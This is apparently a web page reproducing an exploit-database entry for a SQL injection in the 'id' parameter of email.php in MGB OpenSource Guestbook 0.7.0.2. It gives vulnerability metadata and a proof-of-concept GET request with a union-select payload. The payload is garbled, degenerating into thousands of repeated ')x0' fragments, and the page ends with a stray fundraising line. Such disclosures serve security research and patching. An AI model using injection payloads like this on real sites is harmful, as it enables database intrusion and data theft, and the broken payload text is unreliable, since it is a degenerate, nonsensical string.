MGB OpenSource Guestbook 0.7.0.2 'id' Parameter SQL Injection POC

Vulnerability Overview Vulnerability Name: MGB OpenSource Guestbook 0.7.0.2 - 'id' SQL Injection EDB-ID: 45665 Author: Ihsan Sencan Type: Webapps Platform: Windows Date: 2018-10-23 Vulnerability Verified: Verified Vulnerable Application: Downloadable Impact Scope Software Version: 0.7.0.2 Category: Webapps Test Environment: Win7 x64/KaliLinux x64 CVE: N/A Remediation Software Link: https://sourceforge.net/projects/mopzz-gb/files/latest/download POC Code ```plaintext Exploit Title: MGB OpenSource Guestbook 0.7.0.2 - 'id' SQL Injection Dork: N/A Date: 2018-10-23 Exploit Author: Ihsan Sencan Vendor Homepage: http://www.m-gb.org/ Software Link: https://sourceforge.net/projects/mopzz-gb/files/latest/download Version: 0.7.0.2 Category: Webapps Tested on: Win7 x64/KaliLinux x64 CVE: N/A POC: 1) http://localhost/[PATH]/email.php?id=[SQL] GET /[PATH]/email.php?id=admin%27+union+select+ (select(0x)from(select(0x).x)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x

Goal Reached Thanks to every supporter — we hit 100%!

MGB OpenSource Guestbook 0.7.0.2 'id' Parameter SQL Injection POC

More from this source